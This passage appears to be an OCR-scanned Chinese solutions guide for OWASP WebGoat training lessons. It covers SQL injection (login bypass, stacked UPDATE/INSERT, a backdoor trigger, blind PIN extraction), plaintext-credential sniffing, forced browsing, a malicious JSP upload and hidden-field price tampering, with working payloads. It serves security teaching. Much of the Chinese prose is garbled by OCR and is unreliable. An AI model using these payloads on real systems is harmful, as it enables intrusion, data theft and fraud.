|POST| |htlp:IIIDcaIhnst.:BDBDN\I’EbGDaﬂaﬂack?ScreenzSd&menuﬂEDD

Header Yalue
Arcept imagefjpeq, applicationi-ms-application, imagergif, applicationfzaml+xml, image/pipeq, applicationi-ms-kbap, ..
Referer hitp:fMocalthost 20800ebGoatiattack?Screen=54 &menu=1200
Accept-Lan... [zh-CH
User-Agent  [Mozillard.0 (compatible; MSIE 8.0; Windows MNT 6.1; Tridentid.0; SLCCZ2; MET CLR 2.0.50727; MET CLR 3.5.307 ..
Content-Ty. .. [applicationf-wwaw-form-urlencoded
Accept-Enc.. |gzip, deflate
Host localhost 8080

B T ST

l/ URLEncoded rText |’Hex |

4|

Wariable Yalue
ermployese_id 112
passwoard smith’' OF 1'="1
[lzction Login

(SEIEEPNAYIESE v SElh e

* ¥You have completed String SQL Injection.
* Welcome to Parameterized Query #1

“ Goat Hills Financial

E
Jﬁ Human Resources

{,i1i1 Welcome Back MNeville - Staff Listing Page

(4

Belect from the list below

Larry Stooge (employee)
Moe Stooge (manager)
Curly Stooge (employee) SearchStaff
Eric Walker (employee) ViewProfile
Tom Cat (employee)
Jerry Mouse (hr)
David Giambi (manager) DeleteProfile
Bruce McGuirre (employee)
Sean Livingston (employee)
Joanne McDougal (hr)

John Wayne (admin) =

| »

CreateProfile

m
E
&
[=]
=

2.10.6.4 Stage 2: ¥ {LEH#1 (Stage 2: Parameterized Query

#1)

2.10.6.4.1 2{&H#®r (General Goals)

IS H e AR IE SQL JEA
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AT RE R E7E WebGoat JF R A 58 5% -

2.10.6.4.2 #{€753% (Solutions)

TR SQL VEANBTEH KA, LR “SEbE WY o XFSER R A AT DUELS
P 88— MG AT UAEA— NS EAEH . AT ERFERLT Stage2, Fr bl R N AR 412
MaE R, B0 org. owasp. webgoat. lessons. SQLInjection. ViewProfile. java iX
—~ class H getEmployeeProfile J5v, RIS

String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = ? and ownership.employee_id = ?";
try
{
Connection connection = WebSession.getConnections(s);
PreparedStatement statement = connection.prepareStatement(query,
ResultSet. TYPE_SCROLL_INSENSITIVE, ResultSet. CONCUR_READ_ONLY);
statement.setString(1, userld);
statement.setString(2, subjectUserld);
ResultSet answer_results = statement.executeQuery();

/letc...

2.10.6.5 Stage 3: #{F & SQL ;¥\ (Stage 3: Numeric SQL

Injection)

2.10.6.5.1 2 {&H#r (General Goals)

AT SQL JE NGt AIIE
ZRFE I H BRIy N R, S0 B JE A TE R Y S S i — AN B Tk e,
W ¥ BOSS K 5 B o

2.10.6.5.2 #¥{EF53% (Solutions)

B H Larry, S0 larry B3, WY R T B RIZ4L 2 “ViewProfile”. 1#id WebScarab
PUEL, FATH K 1D SHs A, 0102, REIFKIRAE Larry M5 8. 31X Hb 77 B080E
LR T ID AENRS, IREIF S RERR RS —F8dE. His TR ERN 1%
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re Lo, BTN 7B SRR — A sSQLIEAHEF AR -

101 or 1=1 order by salary desc

* ¥You have completed Numeric SQL Injection.
* Welcome to Parameterized Query #2

+* Goat Hills Financial

- |

Bartholomew
San Jose,

CA
3012000
430000

i Human Resources
Trifﬂ" Welcome Back Larry
First Name: Mewille Last Mame:

, 1 Corporate - ,
Street: Headquarters City/State:
Phone: 403-537-0024 Start Date:

SEN: 111-111-1111 Salary:

Credit Card: 4803389267634109 Credit Card Limit:
Comments: Manager:
Disciplinary Disciplinary Action
Explanation: Dates:

300000
112

112005

2.10.6.6 Stage 4: S¥{LEif#2 (Stage 4: Parameterized Query

#2)

2.10.6.6.1 E{&H#x (General Goals)
FHZH A HIBHLE SQL A .

AR R BRE WebGoat FF & FRA E58 M.

2.10.6.6.2 ¥#E{E757E (Solutions)
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2.10.71853 saL 7 E N & ##E (Modify Data with SQL Injection)

2.10.7.1 FAREAKEFE (Concept / Topic To Teach)

SQU VE NI XA — A AR P8 1 D9 SRS ) sty R A2 — 7™ B o IR a4
AREROEARTTE, WRYY, RERKEENHRE, GLARGLE. REXENEHEH S
NAECLEAS, HIRR ) R GUR R 5 % BIX A A B o

XMBEE S B, ERCEIRRIRE, BN T XS, — U RIS B JLF vl
PLsE g flab . XA PR N B R I LA S ECE AR BT

SR SQL N AT i C 2 il e Uy g, (H IR P A K A AN
M, JCHAEMLER B T HRAE R Gian & BIA A Bl e )i ) 1o .

2.10.7.2 FAKRIEIE (How It works)

R Bl e SC R 2B R HRAE, BIAnAE 2 MG A A 205 X0 AT SE B P AT 1E .

2.10.7.3 Z{xH#r (General Goals)

TR ARV T FH 7 userid (CGR [ salaries ) BWEXHMNH AR THRER., %K
MG ST SQL yENIRF. N 7B AT R, FEET SQL 1977 &Lk userid
A jsmith [ 53 T L5

2.10.7.4 #{EF% (Solutions)

AVRFET, FRA1ME ] UPDATE v 43k ¥4 SELECT & iflfr 4.
UPDATE 1B A)1EVEI T

UPDATE table SET column=value WHERE column=value;

WAHRZAE K salaries, W E salary FBOHIEUE, AW T a4

UPDATE salaries SET salary=999999 WHERE userid="jsmith’

N TIEEHRE userid K LHAE R, & EAE SQL kA IRE %M, -

UPDATE salaries SET salary=999999 WHERE userid="jsmith'
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FTBL, e Bt Ty AR AR R A T A9 7 ID A R iER) GERRS1S) -

someuserid'; UPDATE salaries SET salary=999999 WHERE userid="jsmith

FEF 1D Al AEF A L EER), Bdidzd] [Gol 4T SQL iEAIT . 5E I
e, EHEA jsmith fT5, JFiEEdARE.

The form below allows a user to view salaries associated with a userid (from the table named
salaries). This form is vulnerable to String SQL Injection. In order to pass this lesson, use
S0QL Imection to modify the salary for userid jsmith.

Enter your userid:| jsmith Gol

USERID SALARY
jsmith  |2999939

Created by Chuck willis I u' A N D | A N T

OWASP Foundation | Project WebGoat | Report Bug

2.10.8iE3F saL JENRMEIE (Add Data with SQL Injection)

2.10.8.1 FARMEAKER (Concept / Topic To Teach)

SQU E NI XA T — A A e 1 9 SR A0 A sl s SR Ul 82 — S B o XA LA
AREFBATTE, FR5%, ERKEENSE, ARG RE, RERERNEHH 2
NHELVEASS, BRI RGARE 5 2 2R A ARl

XA A S B G RCESR RN, (X TR, — R TR S B LT AT
Plsg gzl ik, X PR N2 BRI LA S HOE AP T

SR SQL IENE AT it L2t ilid He Uy A, (H “UEE” T K SR A
%, JCHR IR LR T R Gt dn & AN P 75 0 1 ) i) 2080

2.10.8.2 FAKRJE¥E (How It works)

1R 22 B e SCis 2 AR AR, BIAnAE 2 B A A 205 X 0 AT SEBL U AT 15 A

2.10.8.3 E{*xH#r (General Goals)

TR RV T H P userid (SR salaries ) BHENMHNH M THER. %R
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S SR AT SQL VENTRI . Oy Vil AT IR AR, 5208 SQL iy a4 in
—ZilxK.

2.10.8.4 #{E5%E (Solutions)

TEB W MEP AL FER), 588 SQL FEAH,

whatever'; INSERT INTO salaries VALUES (‘rlupin’,140000);--

I e B e, % userid Jy rlupin B, AT A BN TH(E B

The form below allows a user to view salaries associated with a userid (from the table named
salaries). This form is vulnerable to String SQL Injection. In order to pass this lesson, use
SQL Injection to add a record to the table.

Enter your userid: rlupin Goal

USERID [SALARY
|rlupin  |140000

Created by Chuck Willis m A N D IA NT

OWASP Foundation | Project WebGoat | Report Bug

2.10.9#3BEEG(7] (Database Backdoors)

2.10.9.1 FHARBEZKERR (Concept / Topic To Teach)

Al B Bt A T

2.109.2 #AKR[FEE (How It works)

AR @ EAE N Web N AHREFFI ok . teoh, EHARIE A E BN .
BT AR SRAE A7 % S S B T, Wk 4 o iR 28R AR RUE EE RS FIRA 5
—NEE FEHEAE, W0 insert, select, update or delete. 284N -2 Trdi & Al LAGIEE— /M & 2%,
Sl R ARAECVEUE A N, RN HT P B Email Huhk 5 B N B R
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2.10.9.3 Z{xH#r (General Goals)

T8I0 B AR 2 2 S i R B W e s vE Gl ik 25 . BT WebGoat A )2 MySQL
HE, ACFiR A, FrbOZ IR EEA 2 HAIE5E .
141 Login ID /& 101.

2.10.9.4 #{EF’%E (Solutions)

W\ 101, BEZH PG
Solution Videos

Restart this Lesson
User ID:

select userid, password, ssn, salary, email from employee where userid=[101]

User ID Password SSN Salary E-Mail
101 larry 386-09-5451|55000 |arry@stooges.com
Created by Sherif Koussa m—m

OWASP Foundation | Project WebGoat | Report Bug

g e R, MARIERRARUE, REZHT SQL IEAN. HEPATHAER],
B 35 B 45 40 B . i N JEN1EA] 101; update employee set salary=10000.

Solution Videos Restart this Lesson

User ID:

select usend, password, ssn, salary, email from employee where userid=1l]1'; uEdate
employee set salary=10000

User ID Password SSN Salary E-Mail
101 larry 386-09-5451/55000 |larry@stooges.com
Created by Sherif Koussa m_m

OWASP Foundation | Project WebGoat

fEF AT B2, Infi A &% -

R.eport Bug

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN
UPDATE employee SET email=john@hackme.com' WHERE userid = NEW.userid
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Solution Videos Restart this Lesson

* Congratulations. You have successfully completed this lesson.

User ID:

TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE
employee SET email="john@hackme.com'WHERE userid = NEW.userid|

User IDPassword SSN Salary E-Mail
101 larry 386-09-5451 /55000 |arry@stooges.com

Created by Sherif Koussza m_m

OWASP Foundation | Project WebGoat | Report Bug

2.10.10 FHFHEFN (Blind Numeric SQL Injection)

2.10.10.1 #AR#Z2%EM (Concept / Topic To Teach)

SQU VE NI XA — A A e 1 D9 SR B0 ) sty Rl 82— ™ B o IR i 4
AREROEATTE, FRSY, RERKEENHRE, GRS RE. REXENEHEH S
ANAECLEAS, HIRR ) R GRS % BIX R A B o

XMBEE ST B ERCEIRRIRE, B TS, — U RIS B JLF vl
PLsE g flab . XA PR N B R LA S HE AR BT

SR SQL N EM T fiE C 22 il Fe U g, (H IR P AN K A AN
M, JCHAEMLER B T HRAE R Gtan & A A Bodis e )i ) 1 il

2.10.10.2 FK[EIE (How It works)

Fl sQL VENZRA WIHRIREE K, RBEEM R 317 M AR BEAT A, I
hF VARSI HERIER, G FERiEa,

2.10.10.3 2{&H#r (General Goals)

TR ARV — KT, FAENNZIK 525 6% [FHIZRRIRENE S (R
O A B H e E e K HE R

11 H bRA2 3R 2 pins £ cc_number B 1111222233334444 [id 5 pin T B
Bl pin FEEEADN int, AL, MANKRBIOEUEHIRAS, BBEARE.
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The form below allows a user to enter an account number and determine if it is valid or not. Use
this form to develop a true / false test check other entries in the database.

The goal is to find the value of the field pin in table pins for the row with the cc_number of
1111222233334444, The field is of type int, which is an integer.

Put the discovered pin value in the form to pass the lesson.

Enter your Account Number: 101 Gaol

Account number i1 valid.

2.10.10.4 #{E5% (Solutions)

ATTEREE A, AR 55 v UL IR [ (45 8 A PRl IS 2 ETE R R TE T T R A i)
K51 PIN Bof5 . gk, JATATDAH R SR G EM M ERIER. BERIEHWT:

SELECT * FROM user_data WHERE userid=accountNumber;

IEARIZAE AR TR SHEE, WK IRK S A%, SRR 1 AND
BREL, FRATA DL I — LEBAN A A 0 25 1 I R AR AR R R B, TR [ 5 SR S B ik
SHR BWIER. BT A A i 7

101 AND 1=1
101 AND 1=2

TR —251BA) R, AN A AR ST, BT DAL IR [RI0K 5 25 1 55 26 IR [R11K 5 T 3%
PAE AT LU S B RE A ) i 2 30 o M i B B 4] . T ATE A A LS VR ERATT PIN fil
15 KT 10000,

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444") > 10000 );

T R RN S R, BB PIN>10000 7500 PIN<=10000. ASWrifs%E, v L4/
FIWTE ], FEELFIBH PIN BUE R KN B N iEA)IR [BIIK -5 %

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

EEWHETHA 2364 JFHHE4s, AT,

2.10.11 FHFBREEEN (Blind String SQL Injection)

2.10.11.1 AR AKX EFE (Concept / Topic To Teach)

SQU ENICT AR A S 128 1 D9 SRS ) sl s R 8 A2 — 7™ Ry o IR et 4
REFRBAT %, FR5%5, BIERKEENSE, ARG LS. REXENEHEH 2
NHELVEASE, BB RGRE 5 2 FIX M AR

XMBEE S Y B ERCEIRRIE, BN TSR, — R RIS B S L AT
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PLsgasfl k. X PR N B ORI LA S HRE AR BT
R SQL HENEM AT it Szt il He Uy A, (H IR P AN A AN
fIfes, JCHAEMLER B T HRAE R Gt an & BIA A Bl e A 1 ) i i

2.10.11.2 H#AR[FIE (How It works)

s sQU IENREHIIREEIE RN, RAEEE &I “30 R B BT, %
HB A FIR A, T A A,

2.10.11.3 2/ H#r (General Goals)

TNHR R ARV K-S, FFRNZK S 2R 6% EAZRAMREEE (K
) Wik S8 E P HE K BEER.

&) B FR2 3 2 pins £ cc_number Bt 4321432143214321 ()i pin T B
HfE . pin FBIEALN varchar. HIAKRBIEUE (AR TAHR, EEIIEMRE) HHEAL,
T AR

2.10.11.4 ¥{E57% (Solutions)

AR F RS B4 R RKAFZZEERRTBOZ DT dm A28l
SEBAT R AT CUERE A7 BB 7 B . Al A IR R L7, R

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321"), 1, 1) <
H):

ZiER)EH T SUBSTRING J5i%, B pin FEBUERISE — 76, FEAMHZE & Ty
“H” /N, SUBSTRING iE7EUTF:

SUBSTRING(STRING,START,LENGTH)

Zo0d 2 A CHUER 0-9A-Za-z 255435 £ D T T A3 el 25080 , S i L 38— A4 8 7
[Fi) B 2K S W7 28 — AN A

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321"), 2, 1) <
'h*);

e, FIWTH pin FEOEDN: Jill $RASIME, @I AT IRE.
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2.11 4[R5 (Denial of Service)

2.11.1ZMNEREIREAIELARSS (Denial of Service from

Multiple Logins)

2.11.1.1 #HAREZRLEM (Concept / Topic To Teach)

B4 RSBt Web NHFEFP R EZE . R & AT AL 55 B AT H
Web 5 FRE ¥ TR BEAO IR 55, TRV 2% IS TR A e

2.11.1.2 FAKR[EIE (How It works)

Hdle PR B B B BN A SR R i Re

2.11.1.3 2{*xH#r (General Goals)

FARI 2k Fo v I 2 8 3 o It IR 308 e it Fe v AN % . B/ ERE
MBI BIER, FFaIE 3 M.

Denial of service attacks are a major issue in web applications. If the end user cannot conduct
business or perform the service offered by the web application, then both time and money is
wasted.

General Goal(s):

This site allows a user to login multiple times. This site has a database connection pool that allows 2
connections. You must obtain a hist of valid users and create a total of 3 logins.

User Name:

Password:

Login |

2.11.1.4 #{E5A’% (Solutions)

ESEAEM SQU AT, EF A AME R -
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“or "1" = "1

EANBd ST JE T UASRAG T P B S 45

T I P T aros el £2

i
iry doni_care or & = 1 in the passwora Tield

PG

This site zilows a user 1o iogin muitipie times, This site has a database connzction pooi that
gllows 2 connections. You must obtain a hist of valid users and create a total of 3 logins.

Guessabie username and passwords from other iessons are exciuded.

SELECT * FROM user_svstern_data WHERE user_name = 'test’ and password = " OR '1'="1’
uUSEria UsEr_naime Frﬁsiwﬁfﬁ CooRIE

101 iir ol

iGi EN0W oasswal

102 idoa nasewd?

103 Jpianz passwd3

igsd jef jeff

i0g dave dave

Lomin Succeaded: 1otal loqn count: |

liser Name:| jsnow

Sponsored by .I.SFEGT)

Sl e Lot L e e

SRIPLLL R =AM 8 5t jsnow. jdoe. jeff; it A5 RFE.

2.12 ~"&£2E{E (Insecure Communication)
21217 L E/ER (Insecure Login)

2.12.1.1 FAREEAKEFE (Concept / Topic To Teach)

BB /R A T B0 SR % ST 7 I ) 2 A, Tt A AR A
BT BRI BN SR (5 BRI — /M0 Web S1FTRRFE 34 R 6 R I 77 70 2
R,

2.12.1.2 FAKR[EIE (How It works)

HTTP %4 (7T LAk WireShark %5 T B3, BB SCELEL
T HTTPS Vil f5, BT BE s in e . Ass#%-5 N Rl A4 2 22 4 (Transport
Layer Security (TLS) ) NFRALAEHEF)E (Secure Socket Layer (SSL)) . TLS &—
FRAMIINEL, — N F PR E G . XASSHE 12 SHA-1 5% MD5.
127 /177




9 OWASP th =]

Tha Opar: Web Applicafion Socwly Prject
Open iab Applkafion Secarly Poje http://www.owasp.org.cn

2.12.1.3 E{*xH#%r (General Goals)

EIX—RPERANN B, BN BOE SRR B SCA T R R R0, 58 AN Bz
FHFERER TVE, 22U #7229

18T BEONARIRFE ST R P i AR S5 i OB &, 2% N 1575 Tomceat & B AR 48]

2.12.1.4 #4E5’% (Solutions)

Ja5h WireShark, BN KEE. £& R, % [submit] %4l )5, @it
WireShark & & HHEE, B R I P 2 AL SE R
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1245 > http [ACK] Segq=909% Ack=2000 win=65295 Len=l
JTTP __ CONTINUATION OF NON-HTTP traftic
JTTP___ COontinuation or non-HTTP tratfic .. |

1), Dst: Fujitsus_l12:ez2:%a (00:;19:99:12:e22:9a)
Dst: 152.96,193.15 (152.96.193.15)
Dst Part: http (80), Seq: 0, ack: 0, Len: 909

ad

Ud. L ACCe
age: de-

ent-Type :

ationx-
-urlenco
CPU: xB86
~Encodin
deflate
gent: Mo
0 (compa
SIE 7.0
MT 5.1;
R1.1.43
CLR 2.0
.MET CLR
oG, 30; I
2y JMET
04506, 64
s 152,95
.Content
47F..Con
Keep-41
he-Contr
ache..Co
ESSIONID
BSFDL3FF
FAETILG3A

rization :

Z3v1c306
ea

=

pt-Cangu
ch..Cont
applic
www =T orm
ded. . Ua-
.« ACCEpPT
g: gzZ7p,
.. dser-a
zilla/4.
tible; ™
windows
. MET CL
22: JMET
L OQF2T;
3.0.045
nforPath.
CLR 3.0,
8. .Host
L15935.15.
—Length:
nection:
ive, .Cac
ol: no-c
okije: 1s
=3]190D7ES
EDZ28011F
0. .Autho
Basic
23V c30m
r_user=3
r_pass=s
bmit=5ub

BN SRAERAT T RERESCN HTTPS, CER Sa 2sHhhk A2 g HTTP MO HTTPS. RS =
S PEME, BB E B EMIEA T CACA T R IE . AR SS 23 A0 ity IF I A I & 40 A2

e
] o
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2.12.1.5 FEEI

THUERL, WebGoat Al 55 #% MU 130 W 8% 2 /7 ity o ZRUSL T AN R 0L, SXFE 4 RE A 3R 0
SHHE

213 ALZ2MELE (Insecure Configuration)
2.13.15&F]M % (How to Exploit Forced Browsing)

2.13.1.1 FHAREEAKER (Concept / Topic To Teach)

SEAT VN B — LS A ANIZ T 1] ) URL BRI

2.13.1.2 FAKR[EIE (How It works)

iR 1) ) 85 A2 R B TSR TR SRIBOIS Le 5 A 4 51 ABATI SR Fe v e 17 A BRI R o — i
TSR T URL, MIERGS Ay, ERHRE— DAY H 3.

2.13.1.3 SZ{*xB#fx (General Goals)

T B AR 2 225 “config” FHTHIA URL.  “config” ) URL SR HELS4E AN .
2N IR PP BOA TR ELBUR A 2

2.13.1.4 #{E5% (Solutions)

WA AR YT o] — AN SZ PR T, SR BRI URL Vi DI, 41 “/admin” o 2%
1 JTI/WebGoat/config, /WebGoat/configuration, /WebGoat/conf, #x/& &Il conf BEWS L5
I\Eﬂc

130/177



9 OWASP th =]

The Gpen Web Application Socarily Project http://www.owasp.org.cn

(@ Forced Browsing - Mozilla Firefox - e — _

SHHE) #WEE BEEN HEE B30 18I FEhH) o -
i | @ Forced Browsing xlT‘

& webgoatvm/WebGoat/conf & ¢ |[&- =3=-

8 spiEms | JanEreas [ RE L || SRME
_ Choose another language: | English lz‘ Logout e

OWASP WebGoat v5.4

Introduction

General

Access Control Flaws
AJAX Security

Solution Videos Restart this Lesson

* Your goal should be to try to guess the URL for the "config” interface.
* The "config" URL is only available to the maintenance personnel.
* The application doesn't check for horizontal privileges.

¥

Concurrency .

Cross-Site Scripting (X55)
r

* Congratulations. You have successfully completed this lesson.

Impi
Injection Flaws
Denial of Service

ror Handling
Insecure Communication Welcome to WebGoat Configuration Page
Insecure Configuration

& Borcid Beiraiin Set Admin Privileges for:

Insecure Storage Set Admin Password:

Malicious Execution 7

Parameter Tampenng

Session Management Flaws

web SErvi:esg Created by Sherif Koussa SoftwareSEcuren

Admin Functions

Challenge . doiom g " e -
OWASP Foundation | Project WebGoat | Report Bug

2.14 FAR£HK7ZHE (Insecure Storage)

2.14.158%%% (How to Exploit Forced Browsing)

2.14.1.1 FHARBEAHKER (Concept / Topic To Teach)

FE Web N FIFE P b 2 MR A 7] P 2 P 308 AN R (1 20 5% 75 56

2.14.1.2 #AR[FEE (How It works)

TR E S ESRSEN EP NI AP
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2.15 EE#H 1T (Malicious Execution)
2.15. 1 ES 1T (Malicious File Execution)

2.15.1.1 #HAREZRLEM (Concept / Topic To Teach)

R Mk Ve P B SCrE, fltn: B BRI, QR S RN & A fi i, By
BEIRL KU 2 B AL B S 45 I AT

2.15.1.2 FAKR[EIE (How It works)

A T8 T SR sl S

2.15.1.3 2{xH#r (General Goals)

TR R RV EARE A S, B B AR S R AE R0 T . B ) & AR iR
FEAZ AR 25 Z FR BN H o XD RER 5 W S AEHAT IR TR A -

N7 B ARGRE, EBFE LA —ASER . NIRRT, B UIEE
B — 4N guest.txt 150

2.15.1.4 #{EF’% (Solutions)

DRSS O — N rT DU AT B SO, 2B AT 5 2 A guest.txt. 58
iz, FAMEH T Java 4 createNewFile()fiv 4. B —.jsp Ja 28 iS04 hacker.jsp, H:
(AT

<HTML> <% java.io.File file = new java.io.File( filepath\\guest.txt");
file.createNewFile(); %> </HTML>

<% R ISP ARHY . 1B AR D RE 2 A — 1 guest.ext . FHH filepath TEE A D
BE R—MRE AR, TR Windows R SCF7p B AT VT4 /5 ZLEE W Lo Linux 248
BRI 417 .

é’lﬁﬁlmﬂlﬁfa:f%*{EEjﬂ /var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt o

PR AR jsp 301, IFRHNZSCAFIALE, TS IR AT 5

i bR, R3S IE B “E ST hacker.jsp.
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Solution Videos Restart this Lesson

The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Executicn.

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should creste ancther file named:

Jvar/lib/tomcats/webapps/WebGoat/mfe_target/guest.ixt

Once you have created this file, you will pass the lesson.

WebGoat Image Storage

Your current image:

MNo image uploaded

Start Upload
Created by Chuck Willis E A N D I A N _I_

IMTELLIGENT INFORMATION SCOURITY

BT AR EERE R SO, e BRI E BATE B — AR B .

age: D:\hacker jsp

WebGoat I

Your current

5. .. Start Upload

Upload & new imags:

Created by Chuck Willis E A N D IA N—I—

IMTCLLIGECNT INFORMATION SCOURITY

OWASP Foundation | Project WebGoat | Report Bug

RARAE, HHEIZ B B,

hacker. j=p

Solution Videos

The form below allows you to upload an i
this are often found en web based discusg

wvulnerable to Malicious File Execution. g HyperText Transfer Frotocel
In order to pass this lesson, upload and ni e )
execute, it should create another file nam e FelH
Jvarflibftomcats/webapps/WebGoat/mfe | i[ﬁ]‘U'iRJIJ.:.] http:ffwebzoatvm/WebGoatupl oads hacker, jsp
Onece you have created this file, you will g

Foil 4-AIA
WebGoat Image Storage H#E: 25 2 S0 pixels

Your current image:

tlgndiE: FRH
fEakndiE:  FRIA

Upload & new image:

9 i wE EA®

\
OWASP Foundation | Project WebGoat | Report Bug
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P 7% URL: http://webgoatvm/WebGoat/uploads/hacker.jsp, AT % & 4.

@ http:ﬂwebgoatvm}WebGuaUuaoads;'hackerjsp “Mozilla Fir_

Eﬁ:(ﬂ FEED EENM BEE HFE TED =EH b ™ —
‘ i} | &) Malicious File Execution | 7 httpy//webgoatvm/WebGoeat/uplo... x |

ebgoatvm/WebGoatfuploads/hacker.jsp

&) mERE | | MISARS [ FFELE | SEME

VilkliZ URL &2 — M2 A0, BIFERIEE, ARREEN (questixt SCIF LM
A .

2.16 B & (Parameter Tampering)
2.16.15%5F HTML FEZ PRI (Bypass HTML Field Restrictions)

2.16.1.1 FHARBEAKER (Concept / Topic To Teach)

2P b S AE AN NAZ AN N A — 22 4 (SRR IR T i X AP IR IE 7 2R REFE AL AN S IE
I 75 N 0 D 6 Rl 55 45 AL BRI (8] o 0eli 5 A AR 8 A 5 R 2 I Rl IX ALl o AR T 25
7S 96 I S 8 1% 52 R 55 A i o RO K ORI AN 22 4 ) 2 B B R P e A T B0 T RE
FERXANGR A, BN ARET A AR RN EOR, 8B H2 Sl % i e L ] a5 X
SERUN,  FAA SR BT

2.16.1.2 #AKR[EIE (How It works)

AR 22 ) 0 e B T B SRR B 2 HTML B JavaScript X5, #3235 T35 HTTP $dk

2.16.1.3 S{&xH#r (General Goals)

3 R TN 5 2250 0, (IR S5 R R 2 B B 9 O3
BARERA G, BRI T B
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6 AN B AR i B

2.16.1.4 #{E5% (Solutions)

RN AR, BFHEE 6 M PRI ARETS (FUL. 5% . HfF =4
FBOE R BV R ok, JATE BT Webscarab 7 T FHAZ H0E K .

PANBEFRE R FBSANIRESSE . X RA WA 20T ASEHl: @il Firebug

J& F sl it Webscarab 1504 .

FT7F Firebug, #£3) form FHAE R LA 7B, Wl: disabledinput. HHERJE M disabled.

VRIS GO b 28 P4 A Q22 SR, AR Reiad A T Al APIRES o B B AR A A th 2

7F Webscarab F A& .

RATE SRS BIERA NEE LR PRI AIE SLERSTEEEEETLIE.

] '.X_E-“':', Select field with two possible values:
dling foo |»
catian Radio button with two possible values:
tion & foo
O bar
:- g Checkbox:
T checkbox
il Input field restricted to 5 characters:
aSgript 12345
- Flaws Disabled input field:
disabled

Submit button:

Created by Chuck
Willis

CWASP Foundation | Project WebGoat | Report Bug

HTML= | CS5 Script DOM

MAaNDIANT

n < divFlessonContent < divFlessonfArea < divStwoCol < divwrap < body.page < himl

e T

<input type="chackbox" name="checkbox" chacked="">
checkbox

<p></p>

cdivs Input field restricted te B characters: «/div>

<input Type="TZXT" maxlength="3" name="ghorvinput" value="lij4s">r

<prA/pr
<div>Disabled input field: < /diwv>

cinput type="TENT" name="disabledinput” value="disabled">

ihr>
AprA/pr
<div> Submit button: </ /div>

<input types"EUEMIT" valus="Submit"™ namse="IUEMIT">

Ji— ik A 2 H WebScarab #2815k, A5 T T INHEZE T4 disabledinput.
M SERERNIN NG, 10 R RRRAZIRUFIN . NN FBRIREA R AREER,

REDA 5 AT BRI EHIT 1 & 585 5 g R .
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Intercept requests : ¥| Interceptresponses: [ |
(" Parsed i_ﬂaw__
Method URL Version
[POST | |nitp:#ocalnost:8080iwebgoatiatack?Screen=12&menu=1700 | [HTTPA.O |
Header Value
Host localhost. 8. =
User-Agent [Mozilla/5.0 .. i
Accept textihtrl ap. .. Insert
Accept-Lan.. en-usenq. {  Delate
Accept-Enc.. |gzip, deflate |
Accept-Cha.. IS0-8859-1... | .
Proxv-Cann | keen-alive b
URLEncoded | Text | Hex
Variable . : ___ Value
select | == ?sdl fsmdfl
radio |87<=?sdlfsmdtd
[checkbox /87> 7sdifsmdr i _
isabledinput |87== ?sdlfsmdf# |
|shortinput & <= ?sdifsmdiy I cnsciided
| SUBKIT &"== 7sdi.fsmdil Delete
e )
Accept changes Cancel changes Abort request Cancel ALL intercepts |
FTERABEUE, RAHYE, W AR

2.16.2F| AR FEX (Exploit Hidden Fields)

2.16.2.1 FHAR#EEAHIEM (Concept / Topic To Teach)

TR N AL INERAR S B DU A A S 7 BORERBR . B3, e . BARIXZ —Flr (i
H5FIREILE], AR A ARy B B HfE B APREE, JATHE 1 a4k
BAME A RR  Be LAE B (A4 I 577 o

2.16.2.2 FHAR[RIE (

How It works)

AN HTTP 282 fil 5 i s A R 5532 4
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2.16.2.3 S{xH#r (General Goals)

05 75 R G 7 BB P R R PR A A% D K777 i

Solution Videos Restart this Lesson

Hint: This application is using hidden fields to transmit price information to the server.

Try to purchase the HOTV for less than the purchase price, if you have not done so already.

Shopping Cart

Shopping Cart Items -- To Buy Now Price Quantity Total
56 inch HDTV (model KTV-551) 2992,599] 1 $2999,99
The total charged to vour credit card: $2559.9% [ UpdateCart ] [ Purchase ]
ASPECT
! Application Security Experts

2.16.2.4 #{EF’% (Solutions)

F¥J& WebScarab. Firebug i E#EE AR, BEREEIMLELZ T — MR TB—
— X 5o

Else document. form. supbmitl);

</SCRIFT>
{center><hl»Shopping Cart </hl»</center>»<br><{table alizn=" center’ cellspacinz="0"
width="90%" bhorder="1" cellpadding="2" ><tr><th width=" 80% >Shopping Cart Items — To
Buy Now</thr<th width="10%" >Price</th><th width=" 3% >Quantity<{/th><th

width=" 7% >Total {/th>{ tr>r»<td>Ef inch HDTV (model ETV-551)</td><td
alizn="right’ »2999, 99</t1d><td align="right’ >{input size="6 walue="1" namEZ’QTY’
typEZ’TEXT’><ftd><td>$2999.99<ftd><ftr><ftable><br><table align=" center’
cellspacing="0" width="90% bkorder="0" cellpadding="2 ><tr><td>The total charged to
vour credit card: <ftd><td>$2999 99<ftd><td><1nput name=" SUBMIT  type="S1E
value=" UpdateCart’ ><ftd><td><1nput onCliclk="validatet)’ Value— Pur
name=" SUBMIT  type= SUBMIT ><ftd><ftr><ftable>{1n ut name= Price’ type=" HIDDEW

T
.

e

BB 7 B U, AR A RS RIAT S8 A
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£

Cancul ALL mior ooty

Solution VideosTry to purchase the HDTV for less than the purchase Restart this Lesson
price, if you have not done so already.

* Congratulations. You have successfully completed this lesson.
Your total price is: $12.0

This amount will be charged to yvour credit card immediately.

ASPECT

ppieation Secarity Specio:

OWASP Foundation | Project WebGoat | Report Bug

2.16.3FI KR ERY E-mail (Exploit Unchecked Email)

2.16.3.1 #HARBZRLEM (Concept / Topic To Teach)

BAEPTA NG BB R A HGE . 2R AR SV — N ERAER A P 48 R K

1% e-mailo X RIS MBAE AR KU, KA DAERIALR], T DRI 2 ] AR A ik 55 2% R4
TR

2.16.3.2 FAKR[EIE (How It works)

1R 22 X 3k ot i N K ) B PE R AR
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2.16.3.3 Z{xH#r (General Goals)

Rk —H4 N IR E-mail
Solution Videos Restart this Less

This form is an example of 3 customer support page. Using the form below try to:
1) Send a malicious script to the website admin.
2) Send a malicicus script to a 'friend’ from OWASP,

